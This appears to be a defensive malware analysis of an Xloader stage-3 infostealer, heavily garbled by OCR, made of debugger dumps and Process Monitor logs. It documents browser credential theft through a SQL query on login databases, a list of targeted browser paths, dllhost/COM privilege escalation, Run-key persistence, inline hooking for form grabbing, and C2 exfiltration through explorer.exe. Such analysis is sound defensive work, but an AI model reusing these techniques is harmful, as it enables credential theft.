CaD ex. 64 ; 64: 'd' Jne 20044FF		EFLAGS 00000246 ZF 1 FF 1 AF 0 CF 0 TF 0 IF 1
		LastError 00000087 (ERROR_ALREADY_EXISTS) LastStatus 00000000 (STATUS_SUCCESS)
		GS 0028 FS 0053 ES 0028 DS 0028 CS 0023 <u>SS</u> 0028
OZEE447E mov ed1,ed1		ST(1) 000000000000000000000000000000000000
		ST(7) BFFF8000000000000 x87r7 Empty -1.0000000000000000000
02EE4480		<
Unev div. wherd ptr s::[ebp-4] mov eax.dword ptr d:[eb1+36] push o nuch edv = whor=whis e	×	Defaul(skica) 1: [esp] 03201366 2: [esp:4] 0321668 "SELECT origin_url, username_value, password_value FROM logins" 3: [esp:4] FFFFFFF
	-	4: [esp+C] 02E9DA40 5: [esp+10] 00000000

		EAX 6D5A1060 <winsqlite3.sqlite3_step> EBX 605A0000 "M2" ECX 6054078 "M2" EDX 000008D '%' EDP 0250948 "52" ESP 0250948 551<03210E0</winsqlite3.sqlite3_step>
		EIP 02EEADDE
		EFLAGS 00000283 ZF 0 PF 0 AF 0 0F 0 SF 1 DF 0 CF 1 TF 0 IF 1
l		LastError 00000000 (ERROR_SUCCESS) LastStatus 00000000 (STATUS_SUCCESS)
		G5 0028 F5 0053 E5 0028 D5 0028 C5 0023 <u>55</u> 0028
		ST(0) 000000000000000000000000000000000000
	L	<
		Default (stdcall)
>	~	1: [esp] 4A8491F7 2: [esp+4] 0259EF78 3: [esp+8] 6D63C148 "ŸÇ\t" 4: [esp+C] 00000000 5: [esp+10] 00000000
		EAX 7761A8B0 <pre><pre></pre><pre></pre><pre></pre><pre></pre><pre></pre><pre></pre><pre></pre><pre>EAX 02E9EF58 <pre>ECX 776B93E0 <pre>EDX 000000FA 'ú' </pre><pre></pre><pre>EDX 00000FA 'ú' </pre></pre></pre></pre>
		ESP 025096C8 EST 0321CDE0 ED1 0259EF78
		EIP 02EEAE8B
		EFLAGS 00000212 ZE 0 <u>EF</u> 0 <u>AE</u> 1 <u>DE</u> 0 <u>EF</u> 0 DF 0 <u>CE</u> 0 TF 0 IF 1
		LastError 00000000 (ERROR_SUCCESS) LastStatus 00000000 (STATUS_SUCCESS)
		GS 0028 FS 0053 ES 0028 DS 0028 CS 0023 SS 0028
		<pre>ST(0) 00000000000000000000 x87r0 Empty 0.00000000000000000000 ST(1) 0000000000000000000 x87r1 Empty 0.00000000000000000 ST(2) 000000000000000000 x87r2 Empty 0.0000000000000000 ST(3) 00000000000000000 x87r3 Empty 0.0000000000000000 ST(4) 0000000000000000 x87r4 Empty 0.0000000000000000 ST(5) 0000000000000000 x87r5 Empty 0.0000000000000000 ST(5) 0000000000000000 x87r5 Empty 0.0000000000000000 ST(6) 3FFF80000000000000 x87r7 Empty -1.0000000000000000 ST(7) EFF80000000000000 x87r7 Empty -1.0000000000000000000</pre>

- ٠
- If it finds anything, it creates a file in temp folder with the static name of "**3r9Pk-75**" If the file exists already, it first deletes the previous one and then write new with the updated • date.
- Reads the file by the following API sequence •
 - NtCreateFile
 - NtQueryInformationFile
 - NtReadFile
 - NtWriteFile



	ECX 02E5EEA8 EDX 02E509AC EBP 02E509AC ESP 02E9083C ESP 02E9083C
	$\begin{array}{c c c c c c c c c c c c c c c c c c c $
04E52C00 mov eax,1A0008 call edx eret 24	Time of Day Process Name PID Operation Path 551:21.5406 Emaistexc exe 6732 CreateFile C:\Users\shaddy\AppData\Local\Temp\3?9R-75_ 553:03.215 Emaistexc exe 6732 CreateFile C:\Users\shaddy\AppData\Local\Temp\3?9R-75_ 601146.2032 Emaistexc exe 6732 CreateFile C:\Users\shaddy\AppData\Local\Temp\3?9R-75_ 555:01.3256 Emaistexc exe 6732 CreateFile C:\Users\shaddy\AppData\Local\Temp\3?9R-75_ 555:01.3256 Emaistexc exe 6732 CreateFile C:\Users\shaddy\AppData\Local\Cocal\Google\Chrome\User Data\Default\L 555:01.3256 Emaistexc exe 6732 CreateFile C:\Users\shaddy\AppData\Local\Google\Chrome\User Data\Default\L 555:01.3256 Emaistexc exe 6732 CoreateFile C:\Users\shaddy\AppData\Local\Google\Chrome\User Data\Default\L 557:24.2148 Emaistexc exe 6732 CoreateFile C:\Users\shaddy\AppData\Local\Google\Chrome\User Data\Default\L 6:0732.1850 Emaistexc exe 6732 CoreateFile C:\Users\shaddy\AppData\Local\Google\Chrome\User Data\Default\L 6:0732.1850
a 02590890	02

Web-Browsers





Targeted processes

Decrypted Functions:

- A lot of data is hidden at first because of encrypted functions
- Similar to stage2 malware, the stage3 version also have encrypted functions in it
- Those are decrypted at run-time
- Those functions also contain encrypted hex-based strings for targeted processes
- The strings for targeted applications and paths are pushed onto stack at run-time.

Mail clients, FTP clients, IM apps

push eax mov dword ptr ssi ebp-ssi, fs00e4 push eax push eax </th <th>EAX 02E908E0 L"MapleStudio\\ChromePlus" EAX 02E90CEC ESX 0000000 ESP 02E90CEC ESI 02E90CEC ESI 02E90CEC ESI 02E90CEC LastError 000000000 (ERROR_SUCCESS) LastEstatus Co000034 (STATUS_0BJECT_PATH_NOT_FOUND) GS 0028 FS 0053 ES 0028 CS 0032 C10 000000000000000000000000000000000000</th>	EAX 02E908E0 L"MapleStudio\\ChromePlus" EAX 02E90CEC ESX 0000000 ESP 02E90CEC ESI 02E90CEC ESI 02E90CEC ESI 02E90CEC LastError 000000000 (ERROR_SUCCESS) LastEstatus Co000034 (STATUS_0BJECT_PATH_NOT_FOUND) GS 0028 FS 0053 ES 0028 CS 0032 C10 000000000000000000000000000000000000
:640 *2EA	5: [esp+10] 02E9DAFC L"Comodo\\Dragon"
Jump 1 IIII Dump 2 IIII Dump 3 IIII Dump 4 IIII Dump 5 IIII Dump 3 IIII Dump 4 IIII Dump 5 IIII Dump 4 IIIII Dump 4 IIIIIIIII Dump 4 IIIIII Dump 4 IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	↓ ↓ 125:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:07 025:07:11 025:07:07 025:07:11 025:07:07 025:07:11 025:07:07 025:07:11 025:07:07 025:07:00 025:07:07 025:07:00 025:07:07 025:07:00 025:07:07 025:07:00 025:07:07 025:07:00 025:07:07 025:07:00 025:07:07 025:07:00 025:07:07 025:07:00 025:07:07 025:07:00 025:07:07 025:00:07:00 025:07:07 025:00:07:00

Address	Length	Result
0x2e9c4c1	16	> <pprogramfiles< td=""></pprogramfiles<>
0x2e9c99a	13	LOCALAPPDATA
0x2e9d48c	58	C: \Users \shaddy \AppData \Local
0x2e9d694	24	LOCALAPPDATA
0x2e9d7f4	20	\User Data
0x2e9d834	42	Chromium Recovery
0x2e9d874	54	BraveSoftware \Brave-Browser
0x2e9d8ac	50	Opera Software\Opera Neon
0x2e9d8e0	44	MapleStudio \ChromePlus
0x2e9d910	44	(VAST Software\Browser
0x2e9d940	40	Yandex\YandexBrowser
0x2e9d96c	40	CatalinaGroup\Citrio
0x2e9d998	40	Fenrir Inc\Sleipnir5
0x2e9d9c4	40	Epic Privacy Browser
0x2e9d9f0	32	Elements Browser
0x2e9da14	30	360Chrome\ChroX
0x2e9e070	12	vaultdi.dll
0x2e9e30c	182	/c copy "C:\Users\shaddy\Desktop\dump.exe" "C:\Program Files (x86)\Qclvxh\mfcm4nt5f.exe" /V
0x2e9e40c	22	dllhost.exe
0x2e9e8bc	11	dllhost.exe
0x2e9f19b	10	{3]I:JW*h
0x2e9f2f8	86	C:\Program Files (x86)\Qdvxh\mfcm4nt5f.exe

File Edit Event Filter	Tools Options Help			
6 🛛 🖸 🛱 🛍	◙⊚ ฿ ۶⁄	7 📑 🖬 🖵 📽 🗛		
Time of Day Process Name	PID Operation	Path	Result	Detail
1:11:50.3720 🚜msiexec.exe	6732 📷 Create File	C:\Users\shaddv\AppData\Local\AVG\Browser\UserData	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:12:21.1869 🛃 msiexec.exe	6732 🐂 CreateFile	C:\Users\shaddy\AppData\Local\Kinza\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:12:39.0111 🛃 msiexec.exe	6732 🐂 CreateFile	C:\Users\shaddy\AppData\Local\URBrowser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:14:15.5801 Rimsiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\AVAST Software\Browser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:14:54.2224 Rimsiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\SalamWeb\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispo
1:15:08.4030 🛃 msiexec.exe	6732 🐂 CreateFile	C:\Users\shaddy\AppData\Local\CCleaner Browser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:15:20.5971 Remsiexec.exe	6732 🐂 CreateFile	C:\Users\shaddy\AppData\Local\Opera Software\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:15:33.1212 🔂 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Yandex\YandexBrowser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:15:47.1073 🙀 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Slimjet\UserData	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:16:01.0038 🛃 msiexec.exe	6732 🐂 CreateFile	C:\Users\shaddy\AppData\Local\360Chrome\Chrome\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:16:14.3570 🛃 msiexec.exe	6732 🧱 Create File	C:\Users\shaddy\AppData\Local\Comodo\Dragon\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:16:28.2443 Risiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\MapleStudio\ChromePlus\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:16:42.2619 🛃 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Chromium\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:16:55.9085 Remsiexec.exe	6732 🐂 CreateFile	C:\Users\shaddy\AppData\Local\Torch\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:17:09.6534 🛃 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\BraveSoftware\Brave-Browser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:17:23.1635 🖶 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Iridium\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:17:36.8620 🛃 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Opera Software\Opera Neon\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:17:50.5828 🔀 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\7Star\7Star\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispo
1:18:07.2565 😽 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Amigo\UserData	PATH NOT FOUND	Desired Access: Read Attributes, Dispo
1:18:23.0130 🔀msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Blisk\UserData	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:18:38.6959 🛃 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\CentBrowser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:18:53.7661 🔀 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Chedot\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:19:08.3086 😽 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\CocCoc\Browser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:19:23.2153 😽 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Elements Browser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispo
1:19:38.5332 🚼msiexec.exe	6732 📷 Create File	C:\Users\shaddy\AppData\Local\Epic Privacy Browser\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispo
1:19:54.1310 🔀 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Kometa\UserData	PATH NOT FOUND	Desired Access: Read Attributes, Dispo
1:20:59.1586 😽 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Orbitum\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:21:01.6018 😽 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Sputnik\Sputnik\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:21:05.0831 🙀msiexec.exe	6732 📷 Create File	C:\Users\shaddy\AppData\Local\uCozMedia\Uran\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:21:46.3202 😽 msiexec.exe	6732 🐂 Create File	C:\Users\shaddy\AppData\Local\Fenrir Inc\Sleipnir5\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:21:54.8614 🚜 msiexec.exe	6732 📷 Create File	C:\Users\shaddy\AppData\Local\CatalinaGroup\Citrio\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:22:24.6809 🔀 msiexec.exe	6732 📷 Create File	C:\Users\shaddy\AppData\Local\Coowon\Coowon\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:22:32.5738 😽 msiexec.exe	6732 📷 Create File	C:\Users\shaddy\AppData\Local\iebao\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:22:35.6307 🛃 msiexec.exe	6732 📷 Create File	C:\Users\shaddy\AppData\Local\QIP Surf\User Data	PATH NOT FOUND	Desired Access: Read Attributes, Dispos
1:22:41.7129 😽 msiexec.exe	6732 📷 Create File	C:\Users\shaddy\AppData\Local\Microsoft\Edge\UserData	SUCCESS	Desired Access: Read Attributes, Dispos
1:22:41.7129 msiexec.exe	6732 🞆 Query Basic Information File	C:\Users\shaddy\AppData\Local\Microsoft\Edge\User Data	SUCCESS	Creation Time: 9/25/2023 11:56:17 PM,
1:22:41.7130 🙀 msiexec.exe	6732 🐂 Close File	C:\Users\shaddy\AppData\Local\Microsoft\Edge\UserData	SUCCESS	

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Privilege Escalation:

Process Monitor - Sysinternals: www.sysinternals.com

- Privileges are escalated by abusing the dllhost.exe and COM objects
- It keeps trying to copy the stage2 malware in Program Files
- If proper privileges are not provided, it then uses explorer to write stage2 malware in temp and by abusing dllhost, it copies the malware to Program Files

Monitor - Sysinternals: www	w.sysinternals.com		-
File Edit Event Filter Tools O	Options Help		
> 🖯 🗋 🚺 🖓 🖉	🛛 🎯 品 🗲 오 🔿 📑 🖬		
Time of Day Process Name PID	Operation Path	R	esult
:20:24.1607 🛃 msiexec.exe 6732	CreateFile C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:29:13.0787 🙀 msiexec.exe 6732	C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:29:22.0701 🙀 msiexec.exe 6732	C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:29:23.2022 🙀 msiexec.exe 6732	C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:29:37.9605 🙀msiexec.exe 6732	C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
29:38.9333 🔐 msiexec.exe 6732	C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:30:27.3081 🙀 msiexec.exe 6732	C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:30:27.9932 🚇 msiexec.exe 6732	C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:30:36.3916 🙀 msiexec.exe 6732	C:\Program Files (x86)\Qcl	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:30:37.0162 🙀 msiexec.exe 6732	CreateFile C:\Program Files (x86)\Qch	vxh\mfcm4nt5f.exe PA	TH NOT FOUND
:30:48.7858 🙀 msiexec.exe 6732	C:\Program Files (x86)\Qcl	wh\mfcm4nt5f exe	TH NOT FOUND

Time of Day Process N	ame PID Operation	ion Path	Result	De	stail
4:54:49.4238 😽 msiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:54:49.4241 🖓 msiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:54:54.4404 🖓 msiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:54:54.4409 👬 msiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:54:59.4708 Remsiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:54:59.4709 Risiexec	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:55:04.4861 🖓 msiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:55:04.4863 Remsiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:55:04.4865 Remsiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read/Write, Disposition: OpenIf,
4:55:04.4870 Remsiexed		teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:55:04.4900 🖧 msiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read/Write, Disposition: Open,
4:55:04.4903	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:55:08.7748 📊 Explore	EXE 3528 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:55:08.7848 📻 Explore	EXE 3528 🖬 Creat	teFile C:\Users\shaddy\AppData\Loca	al\Temp\Qclvxh\mfcm4nt5f.exe SUCCES	SS Des	ired Access: Generic Read/Write, Disposition: OpenIf,
4:55:08.7863 📊 Explore	EXE 3528 🐂 Query	yStandardInfor C:\Users\shaddy\AppData\Loca	al\Temp\Qclvxh\mfcm4nt5f.exe SUCCES	SS Allor	cationSize: 0, EndOfFile: 0, NumberOfLinks: 1, Delete
4:55:08.7881 🐂 Explorer	EXE 3528 🐂 Write	File C:\Users\shaddy\AppData\Loca	al\Temp\Qclvxh\mfcm4nt5f.exe SUCCES	SS Offs	et: 0, Length: 189,952, Priority: Normal
4:55:08.7904 📊 Explorer	EXE 3528 🐂 Close	File C:\Users\shaddy\AppData\Loca	al\Temp\Qclvxh\mfcm4nt5f.exe SUCCES	SS	
4:55:09.5033 🔀 msiexed	exe 6732 🐂 Creat	teFile C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe PATH N	IOT FOUND Des	ired Access: Generic Read, Disposition: Open, Option
4:55:09.5034 Remsiexed					ired Access: Generic Read, Disposition: Open, Option
4:55:10.4569 I DilHost.		teFile C:\Users\shaddy\AppData\Loca			ired Access: Generic Read, Disposition: Open, Option
4:55:10.4570 I DilHost.		yAttributeTagFile C:\Users\shaddy\AppData\Loca			butes: A, ReparseTag: 0x0
4:55:10.4570 📧 DilHost.		yStandardInfor C:\Users\shaddy\AppData\Loca			cationSize: 192,512, EndOfFile: 189,952, NumberOfLi
4:55:10.4571 I DIIHost.		yBasicInformatiC:\Users\shaddy\AppData\Loca			ationTime: 1/18/2024 5:07:13 AM, LastAccessTime: 1
4:55:10.4571 📧 DilHost.		yStreamInform C:\Users\shaddy\AppData\Loca			\$DATA
4:55:10.4572 I DilHost.		yBasicInformatiC:\Users\shaddy\AppData\Loca			ationTime: 1/18/2024 5:07:13 AM, LastAccessTime: 1
4:55:10.4572 I DIIHost.		yEaInformationC:\Users\shaddy\AppData\Loca			õize: 0
4:55:10.4574 DilHost.					ired Access: Generic Read/Write, Delete, Write DAC,
4:55:10.4667 I DIIHost.		yAttributeInfor C:\Program Files (x86)\Qclvxh\m			SystemAttributes: Case Preserved, Case Sensitive, Uni
4:55:10.4668 📧 DilHost.		yBasicInformatiC:\Program Files (x86)\Qclvxh\m			ationTime: 1/18/2024 5:07:15 AM, LastAccessTime: 1
4:55:10.4668 DIIHost.		yAttributeInfor C:\Users\shaddy\AppData\Loca			SystemAttributes: Case Preserved, Case Sensitive, Uni
4:55:10.4683 I DilHost.	9104 🔤 Quen	yRemoteProto C:\Users\shaddy\AppData\Loca	al\Temp\Qclvxh\mfcm4nt5f.exe INVALID	D PARAMETER	
	exe 9104 🐂 Query	ySecurityFile C:\Users\shaddy\AppData\Loca			mation: Attribute
4:55:10.4685 T DIIHost	exe 9104 🐂 Queny exe 9104 🐂 SetEr	ndOfFileInform C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe SUCCES	SS End	IOfFile: 189,952
4:55:10.4685 T DilHost. 4:55:10.4686 DilHost.	exe 9104 = Queny exe 9104 = SetEr exe 9104 = Queny	ndOfFileInform C:\Program Files (x86)\Qclvxh\m yAttributeInfor C:\Users\shaddy\AppData\Loca	fcm4nt5f.exe SUCCES al\Temp\Qclvxh\mfcm4nt5f.exe SUCCES	SS End SS Files	IOFFile: 189,952 SystemAttributes: Case Preserved, Case Sensitive, Uni
4:55:10.4685 I DilHost. 4:55:10.4686 DilHost. 4:55:10.4686 DilHost.	exe 9104 a Queny exe 9104 a SetEr exe 9104 a Queny exe 9104 a Queny exe 9104 a Queny	ndOfFileInform C:\Program Files (x86)\Qclvxh\m yAttributeInfor C:\Users\shaddy\AppData\Loca yAttributeInfor C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe SUCCES al\Temp\Qclvxh\mfcm4nt5f.exe SUCCES fcm4nt5f.exe SUCCES	SS End SS File SS Files	IOFFile: 189,952 SystemAttributes: Case Preserved, Case Sensitive, Uni SystemAttributes: Case Preserved, Case Sensitive, Uni
4:55:10.4684 4:55:10.4685 4:55:10.4685 4:55:10.4686 4:55:10.4686 4:55:10.4686 4:55:10.4689 DIHost.	xxe 9104 Te Quen xxe 9104 Te SetEr xxe 9104 Te Quen xxe 9104 Te Quen xxe 9104 Te Quen xxe 9104 Te Quen	ndOfFileInform C:\Program Files (x86)\Qclvxh\m yAtributeInfor C:\Users\shaddy\AppData\Loc yAtributeInfor C:\Program Files (x86)\Qclvxh\m yAtributeInfor C:\Program Files (x86)\Qclvxh\m	fcm4nt5f.exe SUCCES I/\Temp\Qclvxh\mfcm4nt5f.exe SUCCES fcm4nt5f.exe SUCCES fcm4nt5f.exe SUCCES	SS End SS File SS File SS File	IOFFile: 189,952 SystemAttributes: Case Preserved, Case Sensitive, Uni SystemAttributes: Case Preserved, Case Sensitive, Uni SystemAttributes: Case Preserved, Case Sensitive, Uni
4:55:10.4685 IP DIHost. 4:55:10.4686 IP DIHost. 4:55:10.4686 IP DIHost. 4:55:10.4689 IP DIHost. 4:55:10.4690 IP DIHost.	Street 9104 Ten Query street 9104 Ten SetEry street 9104 Ten Query street 9104 Ten Query	ndOfFileInform C:\Program Files (x86)\Qclvxh\m yAttributeInfor C:\Users\shaddy\AppData\Loc; yAttributeInfor C:\Program Files (x86)\Qclvxh\m yAttributeInfor C:\Program Files (x86)\Qclvxh\m File C:\Users\shaddy\AppData\Loc;	fcm4nt5f.exe SUCCES al/Temp/Qclvxh/wnfcm4nt5f.exe SUCCES fcm4nt5f.exe SUCCES fcm4nt5f.exe SUCCES al/Temp/Qclvxh/wnfcm4nt5f.exe SUCCES	SS End SS File SS File SS File SS File SS File	OfFile: 189,952 SystemAthbutes: Case Preserved, Case Sensitive, Uni SystemAthbutes: Case Preserved, Case Sensitive, Uni SystemAthbutes: Case Preserved, Case Sensitive, Uni et: 0, Length: 131.072, Priorby: Normal
4:55:10.4685 4:55:10.4686 DIIHost. 4:55:10.4686 DIIHost. 4:55:10.4689 DIIHost.	9104 Reduent xxe 9104 SetEr xxe 9104 Guent xxe 9104 Read xxe 9104 Read	ndOFFileInform C:\Program Files (x86)\Qclvxh\m yAttributeInfor C:\Users\shaddy\AppData\Locz yAttributeInfor C:\Program Files (x86)\Qclvxh\m yAttributeInfor C:\Program Files (x86)\Qclvxh\m yAttributeInfor C:\Program Files (x86)\Qclvxh\m File C:\Users\shaddy\AppData\Locz	fom4nt5fexe SUCCES INTemp Vachwh mfom4nt5fexe SUCCES fom4nt15fexe SUCCES fom4nt1fexe SUCCES Intemp Vachwh mfom4nt5fexe SUCCES INTemp Vachwh mfom4nt5fexe SUCCES	SS End SS File5 SS File6 SS Offs SS Offs SS Offs	IOFFile: 189,952 SystemAttributes: Case Preserved, Case Sensitive, Uni SystemAttributes: Case Preserved, Case Sensitive, Uni SystemAttributes: Case Preserved, Case Sensitive, Uni

Persistence:

- After the malware is copied in Program Files
- It achieves persistence by adding Run Registry Keys
- It uses the API NtCreateKey

es 🛸 Threads 🔒 Handles 🦸 Trace	🗁 🔚 🛄 🖓 🔟 🗋	Y 🛛 🎯 🕹	🐓 🔎 🖊 🎬 🧮 🖵 📽 💾	
<pre>clvxh\\mfcm4nt5f.exe"</pre>	Time of Day Process Name	PID Operation	Path	Result
	12:11:02.434	6732 RegCreateKey	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	SUCCESS
	12:11:02.434 👬 msiexec.exe	6732 📫 RegSetInfoKey	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	SUCCESS
	12:11:02.434 提msiexec.exe	6732 🏬 RegEnum Value	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	SUCCESS
	12:11:02.434 Rmsiexec.exe	6732 🏬 RegEnum Value	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	SUCCESS
	12:11:02.434 😽 msiexec.exe	6732 🏬 RegEnum Value	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	SUCCESS
	12:11:02.434	6732 🏬 RegCloseKey	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	SUCCESS


			- 🗆	×
:Version	Run			
^	Name	Туре	Data	
	ab (Default)	REG_SZ	(value not set)	
	<u>ерото</u>	REG_SZ	C:\Program Files (x86)\Qclvxh\mfcm4nt5f.exe	
	MicrosoftEdgeAutoLaunch_8	REG_SZ	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"win-session-start	
	ab Zoomlt	REG_SZ	C:\Tools\sysinternals\Zoomlt64.exe	
	1			

Setting Inline Hooks:

• Xloader also works as a form grabber

- It sets inline hooks in targeted processes for stealing plaintext data from the parameters of the functions
- The data stolen from victim processes is saved in a shared memory between 3 processes
 - Victim Process
 - Stage3 Malware
 - Explorer
- The xloader is stuck in a loop here
- On every loop, it does the following:
 - Enumerates all running processes
 - Set inline hooks in targeted processes if found (by injecting code)
 - Steal clipboard data
 - Tries to create a file in program files
 - Adds registry in RunKeys
 - Send a POST & GET request on one of the resolved c2 servers through explorer.exe. It has an injected payload in explorer.exe that it uses for exfiltrating stolen data.

eneral Statistic	Performance	Threads	Token	Module	es Memory	Environment	Handles	GPU	Comme
☑ Hide free regi	ons								
Base address	Туре			Size	Protect	Use			
0x73bb1fb000	Private	: Commit		12 kB	RW+G	Stack (thread 6	5128)		
0x73bb9fb000	Private	: Commit		12 kB	RW+G	Stack (thread 2	228)		
0x73bc1fb000	Private	: Commit		12 kB	RW+G	Stack (thread :	7780)		
0x73bc9f4000	Private	: Commit		12 kB	RW+G	Stack (thread &	8316)		
0x73bd1fa000	Private	: Commit		12 kB	RW+G	Stack (thread	1356)		
0x73bd9f8000	Private	: Commit		12 kB	RW+G	Stack (thread 8	8712)		
0x73be1fb000	Private	: Commit		12 kB	RW+G	Stack (thread 2	2552)		
0x73be9fb000	Private	: Commit		12 kB	RW+G	Stack (thread !	5396)		
0x73bf1f6000	Private	: Commit		12 kB	RW+G	Stack (thread 8	8840)		
0x73bf9fb000	Private	: Commit		12 kB	RW+G	Stack (thread 3	3068)		
0x73c01f9000	Private	: Commit		12 kB	RW+G	Stack (thread	1900)		
0x73c09fb000	Private	: Commit		12 kB	RW+G	Stack (thread 9	936)		
0x73c11f5000	Private	: Commit		12 kB	RW+G	Stack (thread 6	592)		
0x73c21fa000	Private	: Commit		12 kB	RW+G	Stack (thread	1552)		
